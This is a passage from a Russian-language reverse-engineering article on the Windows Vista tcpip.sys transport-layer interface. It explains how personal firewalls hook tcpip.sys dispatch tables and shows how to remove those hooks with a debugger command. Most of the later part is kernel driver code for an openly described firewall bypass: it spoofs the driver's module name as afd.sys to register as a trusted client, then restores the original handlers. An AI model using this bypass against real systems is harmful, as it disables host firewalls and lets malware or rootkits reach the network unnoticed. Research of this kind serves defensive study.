  7. &TcpInetTransport, sizeof(…), &TcpTlProviderCharacteristics, &TcpTlProviderDispatch);
  8. If (NT_SUCCESS(Status)) {
  9.     …
  10. }
  11.  
  12. return Status;
  13. }
  14.  
  15. NTSTATUS UdpStartProviderModule()
  16. {
  17.     NTSTATUS Status;
  18.  
  19. Status = InetStartTlProviderTransport(
  20. &UdpInetTransport, sizeof(…), &UdpTlProviderCharacteristics, &UdpTlProviderDispatch);
  21. If (NT_SUCCESS(Status)) {
  22.     …
  23. }
  24.  
  25. return Status;
  26. }
  27.  
  28. NTSTATUS RawStartProviderModule()
  29. {
  30.     NTSTATUS Status;
  31.  
  32. Status = InetStartTlProviderTransport(
  33. &UdpInetTransport, sizeof(…), &UdpTlProviderCharacteristics, &UdpTlProviderDispatch);
  34. If (NT_SUCCESS(Status)) {
  35.     …
  36. }
  37.  
  38. return Status;
  39. }

InetStartTlProviderTransport() вызывает NmrRegisterProvider(), и в ProviderCharacteristics передает указатель на структуру InetTlProviderNotify:

Код (Text):
  1.  
  2. NPIID NPI_TRANSPORT_LAYER_ID = {
  3. 0x2227E804, 0x8D8B, 0x11D4,
  4. {0xAB, 0xAD, 0x00, 0x90, 0x27, 0x71, 0x9E, 0x09}
  5. };
  6.  
  7. NPI_PROVIDER_CHARACTERISTICS InetTlProviderNotify = {
  8.     0,
  9. sizeof(NPI_PROVIDER_CHARACTERISTICS),
  10. InetTlNotifyAttachClient,
  11. InetTlNotifyDetachClient,
  12. WfpAlepPeerInformationFree,
  13. {0, sizeof(NPI_REGISTRATION_INSTANCE), &NPI_TRANSPORT_LAYER_ID, 0, NULL}
  14. };

Теперь видно, что каждый транспортный протокол регистрируется с помощью NmrRegisterProvider(), но при подключении к нему клиента, каждый раз вызывается функция InetTlNotifyAttachClient(), в которой происходит обработка подключения клиента. InetStartTlProviderTransport() сохраняет переданные указатели XxxTlProviderCharacteristics и XxxTlProviderDispatch в одно из полей переданной XxxInetTransport (нам все еще нет дела до смещений и полей). Существует несколько структур XxxTlProviderXxxDispatch, содержащих обработчики, которые возвращает tcpip.sys клиенту (в официальном случае – это afd.sys), которые он использует. Ну и, кульминационный момент:

Обработчики TCP:

Код (Text):
  1.  
  2. PVOID TcpTlProviderDispatch[8] = {
  3. TcpTlProviderIoControl,
  4. TlDefaultRequestQueryDispatch,
  5. TcpTlProviderEndpoint,
  6. TlDefaultRequestMessage,
  7. TcpTlProviderListen,
  8. TcpTlProviderConnect,
  9. TcpTlProviderReleaseIndicationList,
  10. TcpTlProviderCancel
  11. };
  12.  
  13. PVOID TcpTlProviderEndpointDispatch[3] = {
  14. TcpTlEndpointCloseEndpoint,
  15. TcpTlEndpointIoControlEndpoint,
  16. TlDefaultRequestQueryDispatchEndpoint
  17. };
  18.  
  19. PVOID TcpTlProviderListenDispatch[4] = {
  20. TcpTlListenerCloseEndpoint,
  21. TcpTlListenerIoControlEndpoint,
  22. TlDefaultRequestQueryDispatchEndpoint,
  23. TcpTlListenerResumeConnection
  24. };
  25.  
  26. PVOID TcpTlProviderConnectDispatch[6] = {
  27. TcpTlConnectionCloseEndpoint,
  28. TcpTlConnectionIoControlEndpoint,
  29. TlDefaultRequestQueryDispatchEndpoint,
  30. TcpTlConnectionSend,
  31. TcpTlConnectionReceive,
  32. TcpTlConnectionDisconnect
  33. };

Обработчики UDP:

Код (Text):
  1.  
  2. PVOID UdpTlProviderDispatch[8] = {
  3.     UdpTlProviderIoControl,
  4.     TlDefaultRequestQueryDispatch,
  5.     UdpTlProviderEndpoint,
  6.     UdpTlProviderMessage,
  7.     TlDefaultRequestListen,
  8.     TlDefaultRequestConnect,
  9.     RawTlProviderReleaseIndicationList,
  10.     TlDefaultRequestCancel
  11. };
  12.  
  13. PVOID UdpTlProviderEndpointDispatch[3] = {
  14.     UdpTlProviderCloseEndpoint,
  15.     UdpTlProviderIoControlEndpoint,
  16.     TlDefaultRequestQueryDispatchEndpoint
  17. };
  18.  
  19. PVOID UdpTlProviderMessageDispatch[4] = {
  20.     UdpTlProviderCloseEndpoint,
  21.     UdpTlProviderIoControlEndpoint,
  22.     TlDefaultRequestQueryDispatchEndpoint,
  23.     UdpTlProviderSendMessages
  24. };

Последние таблицы относятся к Raw IP:

Код (Text):
  1.  
  2. PVOID RawTlProviderDispatch[8] = {
  3.     TlDefaultRequestIoControl,
  4.     TlDefaultRequestQueryDispatch,
  5.     RawTlProviderEndpoint,
  6.     RawTlProviderMessage,
  7.     TlDefaultRequestListen,
  8.     TlDefaultRequestConnect,
  9.     RawTlProviderReleaseIndicationList,
  10.     TlDefaultRequestCancel
  11. };
  12.  
  13. PVOID RawTlProviderEndpointDispatch[3] = {
  14.     RawTlProviderCloseEndpoint,
  15.     RawTlProviderIoControlEndpoint,
  16.     TlDefaultRequestQueryDispatchEndpoint
  17. };
  18.  
  19. PVOID RawTlProviderMessageDispatch[4] = {
  20.     RawTlProviderCloseEndpoint,
  21.     RawTlProviderIoControlEndpoint,
  22.     TlDefaultRequestQueryDispatchEndpoint,
  23.     RawTlProviderSendMessages
  24. };

Ну, а ConnectDispatch таблиц у UDP и Raw IP понятное дело быть не может. Все TlDefaultXxx() обработчики импортируются из netio.sys, которые все сводятся к одной функции с единственным оператором return STATUS_NOT_IMPLEMENTED. Через эти таблицы проходят все вызовы системы, обращающиеся к TCP/IP стеку системы, очень удобно ухватиться за это место и регулировать обращения клиентов. Что фаерволлы и делают.

Когда клиент пытается подключиться к провайдеру, вызывается ProviderAttachClient() (в нашем случае это InetTlNotifyAttachClient()):

Код (Text):
  1.  
  2. NTSTATUS
  3.   ProviderAttachClient(
  4.     IN HANDLE  NmrBindingHandle,
  5.     IN PVOID  ProviderContext,
  6.     IN PNPI_REGISTRATION_INSTANCE  ClientRegistrationInstance,
  7.     IN PVOID  ClientBindingContext,
  8.     IN CONST VOID  *ClientDispatch,
  9.     OUT PVOID  *ProviderBindingContext,
  10.     OUT CONST VOID  **ProviderDispatch
  11.     );

Вызываемая функция InetTlNotifyAttachClient() возвращает указатель на одну из XxxTlProviderDispatch структур в *ProviderDispatch и соединение считается установленным. Теперь клиент может делать вызовы к стеку через его диспетчерские функции.

Персональные фаерволлы идут по пути afd.sys – т.е. регистрируются в качестве клиента tcpip.sys и перехватывают обработчики из таблиц XxxTlProviderXxxDispatch, но помимо недокументированности интерфейса, они имеют вышеупомянутую проблему – только afd.sys или tdx.sys могут быть зарегистрированы в качестве клиентов tcpip.sys. В Outpost Firewall 2008/2009, например, это решается посредством построения трамплина из десятка инструкций в неиспользуемой части драйвера afd.sys для успешного вызова NmrRegisterClient():

Код (Text):
  1.  
  2. loc_1B59A:
  3. movsxd  rax, edi
  4. mov     ecx, 0FFFFFFF8h
  5. lea     rdx, [rax+rax*4]
  6. mov     r8d, [rbx+rdx*8+114h]
  7. mov     r9d, [rbx+rdx*8+118h]
  8. lea     rdx, a_textAddressXS ; ".text address: %#x  size: %#x\n"
  9. add     r8, rsi
  10. call    LogStub
  11. and     [rsp+108h+var_E8], 0
  12. lea     rbx, [r9+r8-0A8h]
  13. mov     rcx, rbx        ; VirtualAddress
  14. xor     r9d, r9d        ; ChargeQuota
  15. xor     r8d, r8d        ; SecondaryBuffer
  16. mov     edx, 0A8h       ; Length
  17. call    cs:IoAllocateMdl
  18. xor     edx, edx        ; AccessMode
  19. lea     r8d, [rdx+1]    ; Operation
  20. mov     rcx, rax        ; MemoryDescriptorList
  21. mov     rdi, rax
  22. call    cs:MmProbeAndLockPages
  23. xor     r9d, r9d        ; BaseAddress
  24. xor     r8d, r8d        ; CacheType
  25. xor     edx, edx        ; AccessMode
  26. mov     rcx, rdi        ; MemoryDescriptorList
  27. mov     [rsp+108h+var_E0], 20h
  28. and     dword ptr [rsp+108h+var_E8], 0
  29. call    cs:MmMapLockedPagesSpecifyCache
  30. lea     rcx, [rsp+108h+var_C8]
  31. mov     rdx, rax
  32. mov     r8d, 0A8h
  33. mov     rsi, rax
  34. call    DoSomethingEv0l
  35. lea     rax, [rbx+33h]
  36. mov     byte ptr [rsi], 4Ch
  37. mov     [rsi+24h], rax
  38. lea     rax, NmrRegisterClient
  39. mov     byte ptr [rsi+1], 89h
  40. mov     byte ptr [rsi+2], 44h
  41. mov     byte ptr [rsi+3], 24h
  42. mov     byte ptr [rsi+4], 18h
  43. mov     [rsi+33h], rax
  44. mov     byte ptr [rsi+5], 48h
  45. mov     byte ptr [rsi+6], 89h
  46. <...>
  47. mov     byte ptr [rsi+32h], 0C3h
  48. mov     byte ptr [rsi+3Bh], 0FFh
  49. mov     byte ptr [rsi+3Ch], 25h
  50. and     dword ptr [rsi+3Dh], 0
  51. lea     rax, ClientAttachAfd
  52. lea     rcx, [rsi+60h]
  53. mov     [rsi+41h], rax
  54. lea     rax, [rbx+3Bh]
  55. lea     rdx, unk_4C120
  56. mov     cs:off_4C128, rax
  57. and     dword ptr [rsi+4Bh], 0
  58. lea     rax, WskClientDetach
  59. mov     [rsi+4Fh], rax
  60. lea     rax, [rbx+49h]
  61. mov     byte ptr [rsi+49h], 0FFh
  62. mov     byte ptr [rsi+4Ah], 25h
  63. mov     r8d, 48h
  64. mov     cs:off_4C130, rax
  65. call    DoSomethingEv0l
  66. lea     rcx, [rbx+60h]
  67. lea     r8, [rsp+108h+var_D8]
  68. xor     edx, edx
  69. call    rbx
  70. test    eax, eax
  71. jns     short loc_1B76C
  72. lea     rdx, aFailedRegister ; "failed register nmr client with status:"...
  73. mov     r8d, eax
  74. mov     ecx, 0FFFFFFFEh
  75. call    LogStub
  76. jmp     short loc_1B776

А вот собственно и сам трамплин, результат составления его вереницей mov инструкций (на x86 он, понятное дело, другой):

Код (Text):
  1.  
  2. mov      qword ptr [rsp+18h],r8
  3. mov      qword ptr [rsp+10h],rdx
  4. mov      qword ptr [rsp+8],rcx
  5. sub      rsp,28h
  6. mov      r8,qword ptr [rsp+40h]
  7. mov      rdx,qword ptr [rsp+38h]
  8. mov      rcx,qword ptr [rsp+30h]
  9. mov      rax,offset afd!AfdTLErrorHandlerConnection+0x16b (fffffa60`0423318b)
  10. call     qword ptr [rax]
  11. add      rsp,28h
  12. ret

Теперь Outpost может следить за вызовами к tcpip.sys и эффективно предотвращать доступ к сети нежелательным приложениям, а также руткитам, использующим TDI или WSK для сетевого взаимодействия. Разбираясь в вопросе год назад и уже написав эти строки с коварным разоблачением Outpost, внезапно наткнулся на довольно занятную запись: http://tarasc0.blogspot.com/2008/05/vista-beyond-tdi-3-60-60-60-60-60.html. Теперь понятно, откуда ноги растут. Ну а мы копнем глубже:

Код (Text):
  1.  
  2. Waiting to reconnect...
  3. Connected to Windows Vista 6001 x64 target, ptr64 TRUE
  4. Kernel Debugger connection established.  (Initial Breakpoint requested)
  5. Symbol search path is: D:\Symbols\x64\vista_sp1
  6. Executable search path is:
  7. Windows Vista Kernel Version 6001 (Service Pack 1) MP (1 procs) Free x64
  8. Product: WinNt, suite: TerminalServer SingleUserTS
  9. Built by: 6001.18000.amd64fre.longhorn_rtm.080118-1840
  10. Kernel base = 0xfffff800`01804000 PsLoadedModuleList = 0xfffff800`019c9db0
  11.  
  12. kd> lm m afw
  13. start             end                 module name
  14. fffffa60`026d5000 fffffa60`02718000   afw        (no symbols)    
  15.  
  16. kd> !chkimg -ss .rdata -d -p E:\OS\x64\vista_sp1 tcpip
  17.     fffffa6000f82dc0-fffffa6000f82dc3  4 bytes - tcpip!RawTlProviderDispatch+10
  18.     [ 90 d1 e6 00:fc 76 6e 02 ]
  19.     fffffa6000f82dc8-fffffa6000f82dcb  4 bytes - tcpip!RawTlProviderDispatch+18 (+0x08)
  20.     [ e0 cf e6 00:4c 7e 6e 02 ]
  21.     fffffa6000f82df0-fffffa6000f82df3  4 bytes - tcpip!RawTlProviderEndpointDispatch (+0x28)
  22.     [ 70 41 f7 00:04 7d 6e 02 ]
  23.     fffffa6000f82e08-fffffa6000f82e0b  4 bytes - tcpip!RawTlProviderMessageDispatch (+0x18)
  24.     [ 70 41 f7 00:04 7d 6e 02 ]
  25.     fffffa6000f82f80-fffffa6000f82f83  4 bytes - tcpip!UdpTlProviderDispatch+10 (+0x178)
  26.     [ 50 c8 ec 00:08 61 6e 02 ]
  27.     fffffa6000f82f88-fffffa6000f82f8b  4 bytes - tcpip!UdpTlProviderDispatch+18 (+0x08)
  28.     [ 40 7d ec 00:ec 70 6e 02 ]
  29.     fffffa6000f82fb0-fffffa6000f82fb3  4 bytes - tcpip!UdpTlProviderEndpointDispatch (+0x28)
  30.     [ d0 d9 ec 00:78 67 6e 02 ]
  31.     fffffa6000f82fb8-fffffa6000f82fbb  4 bytes - tcpip!UdpTlProviderEndpointDispatch+8 (+0x08)
  32.     [ b0 9e ec 00:84 6a 6e 02 ]
  33.     fffffa6000f82fc8-fffffa6000f82fcb  4 bytes - tcpip!UdpTlProviderMessageDispatch (+0x10)
  34.     [ d0 d9 ec 00:78 67 6e 02 ]
  35.     fffffa6000f82fd0-fffffa6000f82fd3  4 bytes - tcpip!UdpTlProviderMessageDispatch+8 (+0x08)
  36.     [ b0 9e ec 00:84 6a 6e 02 ]
  37.     fffffa6000f82fe0-fffffa6000f82fe3  4 bytes - tcpip!UdpTlProviderMessageDispatch+18 (+0x10)
  38.     [ 60 ce ea 00:c0 68 6e 02 ]
  39.     fffffa6000f83210-fffffa6000f83213  4 bytes - tcpip!TcpTlProviderDispatch+10 (+0x230)
  40.     [ 70 5b ec 00:40 15 6e 02 ]
  41.     fffffa6000f83220-fffffa6000f83223  4 bytes - tcpip!TcpTlProviderDispatch+20 (+0x10)
  42.     [ 20 b4 e8 00:b4 2c 6e 02 ]
  43.     fffffa6000f83228-fffffa6000f8322b  4 bytes - tcpip!TcpTlProviderDispatch+28 (+0x08)
  44.     [ 50 d2 ec 00:90 20 6e 02 ]
  45.     fffffa6000f83230-fffffa6000f83233  4 bytes - tcpip!TcpTlProviderDispatch+30 (+0x08)
  46.     [ 60 0d ec 00:4c 44 6e 02 ]
  47.     fffffa6000f83238-fffffa6000f8323b  4 bytes - tcpip!TcpTlProviderDispatch+38 (+0x08)
  48.     [ 80 86 f7 00:6c 42 6e 02 ]
  49.     fffffa6000f83240-fffffa6000f83243  4 bytes - tcpip!TcpTlProviderEndpointDispatch (+0x08)
  50.     [ 10 20 ec 00:90 1b 6e 02 ]
  51.     fffffa6000f83248-fffffa6000f8324b  4 bytes - tcpip!TcpTlProviderEndpointDispatch+8 (+0x08)
  52.     [ e0 99 ec 00:8c 1c 6e 02 ]
  53.     fffffa6000f83258-fffffa6000f8325b  4 bytes - tcpip!TcpTlProviderListenDispatch (+0x10)
  54.     [ 20 cf e8 00:f4 32 6e 02 ]
  55.     fffffa6000f83278-fffffa6000f8327b  4 bytes - tcpip!TcpTlProviderConnectDispatch (+0x20)
  56.     [ e0 93 ec 00:9c 2a 6e 02 ]
  57.     fffffa6000f83290-fffffa6000f83293  4 bytes - tcpip!TcpTlProviderConnectDispatch+18 (+0x18)
  58.     [ a0 51 ed 00:30 3d 6e 02 ]
  59.     fffffa6000f83298-fffffa6000f8329b  4 bytes - tcpip!TcpTlProviderConnectDispatch+20 (+0x08)
  60.     [ 70 02 ec 00:c4 3a 6e 02 ]
  61.     fffffa6000f832a0-fffffa6000f832a3  4 bytes - tcpip!TcpTlProviderConnectDispatch+28 (+0x08)
  62.     [ 40 8f ec 00:10 47 6e 02 ]
  63. 92 errors : tcpip (fffffa6000f82dc0-fffffa6000f832a3)

Имеем установленные перехваты в диспетчерских таблицах XxxTlProviderXxxDispatch tcpip.sys. В программном исполнении вопрос с перехватами решается предельно просто: нам необходимо прочитать оригинал tcpip.sys с диска и переписать секцию .rdata настоящими данными, не забывая о фиксе релоков, к тому же нужно иметь ввиду, что запись в .rdata запрещена настройками самой секции. Ну а мы же только из исследовательских побуждений поступим вот так:

Код (Text):
  1.  
  2. kd> !chkimg -f -ss .rdata -p E:\OS\x64\vista_sp1 tcpip
  3. Warning: Any detected errors will be fixed to what we expect!
  4. 92 errors (fixed): tcpip (fffffa6000f82dc0-fffffa6000f832a3)

Собственно, это все, что нужно, чтобы снести защиту персональных фаерволов такого типа.

Обход NPI фаерволлов

Теперь мы поняли, как добраться до самой сути и перехватить именно то, что нужно, чтобы получить полный контроль над прикладным ПО и незамысловатыми руткитами ядра, рвущимися в сеть. Как и всегда, эту информацию можно использовать в двух вариантах: при защите и при нападении. Далее речь пойдет о нападении, а точнее, о тактичном обходе этого вида защиты.

Вернемся к способу, основанному на построении трамплина из доверенного драйвера в функцию NmrRegisterClient(), а также мостов к обработчикам ClientAttachProvider() и ClientDetachProvider(). Чем плох этот метод? А вот чем:

  1. Патчинг системного драйвера в памяти. Фаервол будет работать до тех пор, пока этот драйвер не меняется. В новой ревизии ОС или при его возможном изменении есть риск получить BSoD.
  2. Привязка к определенной архитектуре процессора, приходится организовывать свой мост под каждую архитектуру процессора.

Код обхода разделен на две половины: первая часть отвечает за получение указателей на внутренние таблицы диспетчеризации; вторая осуществляет восстановление перехваченных обработчиков. Благодаря этому, у нас есть прекрасная возможность использовать настоящие обработчики таблиц XxxTlProviderXxxDispatch и делать вызовы к tcpip.sys напрямую, в обход фаерволлов, используя лишь первую часть кода.

При разработке средства для обхода NPI фаерволлов мы будем основываться на реакции NmrRegisterClient(), а точнее на реакции внутренней функции, которую она вызывает – NmprVerifyModule(). Данная функция сначала отыскивает модуль ядра, которому принадлежат переданные указатели на обработчики и только потом удостоверивается в том, что путь до этого модуля равен “\systemroot\system32\drivers\afd.sys”, “\systemroot\system32\drivers\tdx.sys” или “\systemroot\system32\drivers\tcpip.sys”. Логичнее было бы делать проверку наоборот – «а указывают ли переданные указатели в один из трех доверенных драйверов»? Разработчики netio.sys об этом не подумали. Используем эту особенность, подменив поле FullDllName структуры LDR_DATA_TABLE_ENTRY, которая описывает наш драйвер, на один из легитимных путей. После этого можно вызывать NmrRegisterClient() и регистрироваться в качестве клиента tcpip.sys, при этом быть уверенными в том, что netio.sys корректно зарегистрирует наш вызов. Следует помнить, что клиентами tcpip.sys могут стать лишь tdx.sys и afd.sys, поэтому пути следует выбирать соответствующие при выборе NPIID. Для начала следует получить указатели на ранее перечисленные таблицы диспетчеризации XxxTlProviderXxxDispatch драйвера tcpip.sys, чем и занимается функция GetTcpipDispatchTables():

Код (Text):
  1.  
  2. NTSTATUS
  3. NTAPI
  4.   GetTcpipDispatchTables(
  5.     __in  PLDR_DATA_TABLE_ENTRY     DriverEntry,
  6.     __out PTL_DISPATCH_TABLES       DispatchTables
  7.   )

Данная функция вызывается из DriverEntry() драйвера, которой передается указатель на структуру LDR_DATA_TABLE_ENTRY нашего драйвера, которую мы собираемся использовать, как было описано выше. Для начала подготовим структуру NPI_CLIENT_CHARACTERISTICS для подключения к провайдеру:

Код (Text):
  1.  
  2.     NPI_MODULEID FakeModuleId = {
  3.         sizeof(NPI_MODULEID),
  4.         MIT_GUID,
  5.         {0x01020304, 0x0506, 0x0708,
  6.         {0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10}}
  7.     };
  8.  
  9.     NPI_CLIENT_CHARACTERISTICS ClientChars = {
  10.         0, sizeof(NPI_CLIENT_CHARACTERISTICS), FakeClientAttachProvider, FakeClientDetachProvider, NULL,
  11.         {0, sizeof(NPI_REGISTRATION_INSTANCE), &amp;NPI_TRANSPORT_LAYER_ID, &amp;FakeModuleId, 0, NULL}
  12.     };

Указанный NPI_TRANSPORT_LAYER_ID говорит о том, что мы хотим подключиться к провайдеру, который поставляет услуги связи. В нашем случае это, конечно же, tcpip.sys. Перед регистрацией клиента притворимся afd.sys:

Код (Text):
  1.  
  2.     UNICODE_STRING  OriginalFullDllName = {0};
  3.     RtlCopyMemory(&amp;OriginalFullDllName, &amp;DriverEntry->FullDllName, sizeof(UNICODE_STRING));
  4.     RtlInitUnicodeString(&amp;DriverEntry->FullDllName, L"\\SystemRoot\\system32\\drivers\\afd.sys");

Теперь можно и регистрироваться:

Код (Text):
  1.  
  2.     Status = NmrRegisterClient(&amp;ClientChars, Dispatches, &amp;hClientHandle);
  3.     if (NT_SUCCESS(Status)) {
  4.         NmrDeregisterClient(hClientHandle);
  5.     } else {
  6.         DbgPrint("GetTcpipDispatchTables(): NmrRegisterClient() failed with status 0x%08X\n", Status);
  7.     }

После вызова NmrRegisterClient() FullDllName можно вернуть назад, подмена больше нигде не пригодится:

RtlCopyMemory(&DriverEntry->FullDllName, &OriginalFullDllName, sizeof(UNICODE_STRING));

Код, получающий указатели на XxxTlProviderDispatch таблицы, находится в обработчике FakeClientAttachProvider, который мы указали при составлении структуры NPI_CLIENT_CHARACTERISTICS:

Код (Text):
  1.  
  2. static
  3. NTSTATUS
  4. NTAPI
  5.   FakeClientAttachProvider(
  6.     __in HANDLE NmrBindingHandle,
  7.     __in PTL_DISPATCH_TABLES DispatchTables,
  8.     __in PNPI_REGISTRATION_INSTANCE ProviderRegistrationInstance
  9.     )

Данная функция вызывается NMR при вызове NmrRegisterClient() для каждого ModuleId, который зарегистрировал провайдер с данным NPIID, а это уже перечисленные NPI_MS_TCP_MODULEID, NPI_MS_UDP_MODULEID, NPI_MS_RAW_MODULEID. Данная информация передается в ProviderRegistrationInstance, чем мы и воспользуемся при получении указателей на таблицы:

Код (Text):
  1.  
  2.     if (!memcmp(ProviderRegistrationInstance->ModuleId, &amp;NPI_MS_TCP_MODULEID, sizeof(NPI_MODULEID)))
  3.     {
  4.         ASSERT( !DispatchTables->TcpTlProviderDispatch );
  5.  
  6.         // Get TcpTlProviderDispatch table
  7.  
  8.         Status = NmrClientAttachProvider(
  9.             NmrBindingHandle, NULL, NULL, &amp;ProviderContext, &amp;DispatchTables->TcpTlProviderDispatch);
  10.         if (!NT_SUCCESS(Status)) {
  11.             KdPrint(("FakeClientAttachProvider(): NmrClientAttachProvider(TcpTlProviderDispatch) failed with status 0x%08X\n", Status));
  12.         }
  13.     }
  14.     else if (!memcmp(ProviderRegistrationInstance->ModuleId, &amp;NPI_MS_UDP_MODULEID, sizeof(NPI_MODULEID)))
  15.     {
  16.         ASSERT( !DispatchTables->UdpTlProviderDispatch );
  17.  
  18.         // Get UdpTlProviderDispatch table
  19.  
  20.         Status = NmrClientAttachProvider(
  21.             NmrBindingHandle, NULL, NULL, &amp;ProviderContext, &amp;DispatchTables->UdpTlProviderDispatch);
  22.         if (!NT_SUCCESS(Status)) {
  23.             KdPrint(("FakeClientAttachProvider(): NmrClientAttachProvider(UdpTlProviderDispatch) failed with status 0x%08X\n", Status));
  24.         }
  25.     }
  26.     else if (!memcmp(ProviderRegistrationInstance->ModuleId, &amp;NPI_MS_RAW_MODULEID, sizeof(NPI_MODULEID)))
  27.     {
  28.         ASSERT( !DispatchTables->RawTlProviderDispatch );
  29.  
  30.         // Get RawTlProviderDispatch table
  31.  
  32.         Status = NmrClientAttachProvider(
  33.             NmrBindingHandle, NULL, NULL, &amp;ProviderContext, &amp;DispatchTables->RawTlProviderDispatch);
  34.         if (!NT_SUCCESS(Status)) {
  35.             KdPrint(("FakeClientAttachProvider(): NmrClientAttachProvider(RawTlProviderDispatch) failed with status 0x%08X\n", Status));
  36.         }
  37.     }

Для того, чтобы получить непосредственный указатель на одну из таблиц диспетчеризации, нам необходимо вызвать функцию NmrClientAttachProvider(), конечный пункт которой – вызов InetTlNotifyAttachClient(), которая и возвращает указатель на таблицу. Эти указатели мы запоминаем и будем использовать дальше при восстановлении обработчиков на оригинальные.

Успешно получив указатели на XxxTlProviderDispatch таблицы, вызываем GetInternalTcpipDispatches(), которая получает указатели на оставшиеся таблицы XxxTlProviderXxxDispatch, а также указатели на их настоящие обработичики. Как уже было сказано, самый простой способ восстановления обработчиков – загрузка tcpip.sys с диска и перезапись всей секции .rdata оригинальными данными. Есть одно негласное правило при написании кода такого рода – чем меньше изменений мы привносим в систему, тем мы незаметнее (вполне возможны аналогичные изменениях в другой часть .rdata). Поэтому из этих побуждений, а еще и из-за исследовательского интереса, мы будем восстанавливать конкретные таблицы шаг за шагом. Эта практика, кстати, поможет немного разобраться в недокументированном TL (Transport Layer) интерфейсе tcpip.sys и эти знания могут быть использованы для написания собственного NPI клиента tcpip.sys.

Для загрузки копии tcpip.sys в память организована функция GetTcpip(), действия которой раскладываются в несколько этапов: получение базового адреса и размера модуля уже загруженного tcpip.sys; загрузка копии tcpip.sys с диска; маппинг секций; настройка релоков:

Код (Text):
  1.  
  2.     UNICODE_STRING  TcpipDriverName = CONST_UNICODE_STRING(L"\\Driver\\tcpip");
  3.     UNICODE_STRING  TcpipDriverPath = CONST_UNICODE_STRING(L"\\SystemRoot\\system32\\drivers\\tcpip.sys");
  4.     MEMORY_CHUNK    FlatFile = {0};
  5.     NTSTATUS        Status = STATUS_UNSUCCESSFUL;
  6.  
  7.     Status = GetDriverModuleInfo(&amp;TcpipDriverName, &amp;OriginalTcpip->Buffer, &amp;OriginalTcpip->Size);
  8.     if (!NT_SUCCESS(Status)) {
  9.         KdPrint(("GetTcpip(): GetDriverModuleInfo(%wZ) failed with status 0x%08X\n", &amp;TcpipDriverName, Status));
  10.         return Status;
  11.     }
  12.  
  13.     Status = GetFileData(&amp;TcpipDriverPath, &amp;FlatFile);
  14.     if (!NT_SUCCESS(Status)) {
  15.         KdPrint(("GetTcpip(): GetFileData(%wZ) failed with status 0x%08X\n", &amp;TcpipDriverPath, Status));
  16.         return Status;
  17.     }
  18.  
  19.     Status = MapImage(&amp;FlatFile, LoadedTcpip);
  20.     FreeMemoryChunk(&amp;FlatFile);
  21.  
  22.     if (!NT_SUCCESS(Status)) {
  23.         KdPrint(("GetTcpip(): MapImage(%wZ) failed with status 0x%08X\n", &amp;TcpipDriverPath, Status));
  24.     }

Функция MapImage() делает всю нудную работу за нас – она удостоверивается в целостности модуля, располагает секции соответствующим образом в памяти и правит релокации. Следует учитывать то, что память, выделенная MapImage() – подкачиваемая и поэтому образ, спроецированный данной функцией, не может быть использован для запуска кода. Следует сделать правку в функции, чтобы она выделяла память из неподкачиваемого пула, тогда такой запуск будет возможен.

Работа функции GetInternalTcpipDispatchTables() разбита на 7 этапов:

  1. Получение настоящих (не перехваченных) обработчиков таблиц TcpTlProviderDispatch/ UdpTlProviderDispatch/ RawTlProviderDispatch
  2. Получение указателей на таблицы TcpTlProviderEndpointDispatch/ UdpTlProviderEndpointDispatch/ RawTlProviderEndpointDispatch, располагающихся в tcpip.sys
  3. Получение настоящих (не перехваченных) обработчиков таблиц TcpTlProviderEndpointDispatch / UdpTlProviderEndpointDispatch / RawTlProviderEndpointDispatch
  4. Получение указателей на таблицы TcpTlProviderListenDispatch/ TcpTlProviderConnectDispatch, располагающихся в tcpip.sys
  5. Получение настоящих (не перехваченных) обработчиков таблиц TcpTlProviderListenDispatch/ TcpTlProviderConnectDispatch
  6. Получение указателей на таблицы UdpTlProviderMessageDispatch/RawTlProviderMessageDispatch, располагающихся в tcpip.sys
  7. Получение настоящих (не перехваченных) обработчиков таблиц UdpTlProviderMessageDispatch / RawTlProviderMessageDispatch

Работа по нахождению настоящих обработчиков, которые перехвачены, довольно тривиальна и выполняется функцией GetRealTcpipDispatchTable():

Код (Text):
  1.  
  2. static
  3. NTSTATUS
  4.   GetRealTcpipDispatchTable(
  5.     __in  PMEMORY_CHUNK     OriginalTcpip,
  6.     __in  PMEMORY_CHUNK     LoadedTcpip,
  7.     __in  PVOID*            OriginalDispatchTable,
  8.     __out PVOID*            RealDispatchTable,
  9.     __in  ULONG             PointersCount
  10.   )

По подсчитанному виртуальному смещению таблицы диспетчеризации, из загруженной копии tcpip.sys получаются указатели на обработчики и поправляются таким образом, чтобы они указывали в соответствующее место в оригинальном модуле. Довольно просто, с условием того, что мы имеем указатель на эту таблицу и таблица находится в пределах tcpip.sys. Данной функцией пользуются функции GetRealXxxTlProviderDispatch(), GetRealXxxTlProviderEndpointDispatch(), GetRealTcpDispatches(),GetRealMessageDispatches(), которые вызываются на этапах №1, №3, №5, №7 соответственно.

Куда более интересная жизнь наступает при необходимости получения указателей на таблицы XxxTlProviderEndpointDispatch/ TcpTlProviderListenDispatch/ TcpTlProviderConnectDispatch/ XxxTlProviderMessageDispatch. Указатели на эти таблицы можно получить только в том случае, если вы знакомы с внутренним интерфейсом tcpip.sys, который не документирован. Кажется, именно здесь придется применить весь талант реверс-инженера, о чем дальше и пойдет речь.

Внутренний интерфейс tcpip.sys

Каждый обработчик таблиц диспетчеризации tcpip.sys получает два параметра на вход и имеет следующий прототип:

Код (Text):
  1.  
  2. typedef NTSTATUS (NTAPI* PROVIDER_DISPATCH) (
  3.     __in PVOID  Endpoint,
  4.     __in PTL_ENDPOINT_DATA  ProviderData
  5. );

Структура TL_ENDPOINT_DATA определяется следующим образом:

Код (Text):
  1.  
  2. typedef struct _TL_ENDPOINT_DATA {
  3.     GET_DISPATCH    GetDispatch;
  4.     PVOID           GetDispatchContext;
  5.     PVOID           Flags;
  6.     USHORT          Family;
  7. #ifndef _AMD64_
  8.     PVOID           Unk5;
  9. #endif
  10.     PEPROCESS       Process;
  11.     PETHREAD        Thread;
  12.     PVOID           Object;
  13.     PSOCKADDR_IN    Addr1;
  14.     PVOID           Unk10;
  15.     PVOID           Unk11;
  16.     PSOCKADDR_IN    Addr2;
  17.     PVOID           Unk13;
  18.     PVOID           Unk14;
  19.     PVOID           Unk15;
  20.     PVOID           Unk16;
  21. } TL_ENDPOINT_DATA, *PTL_ENDPOINT_DATA;

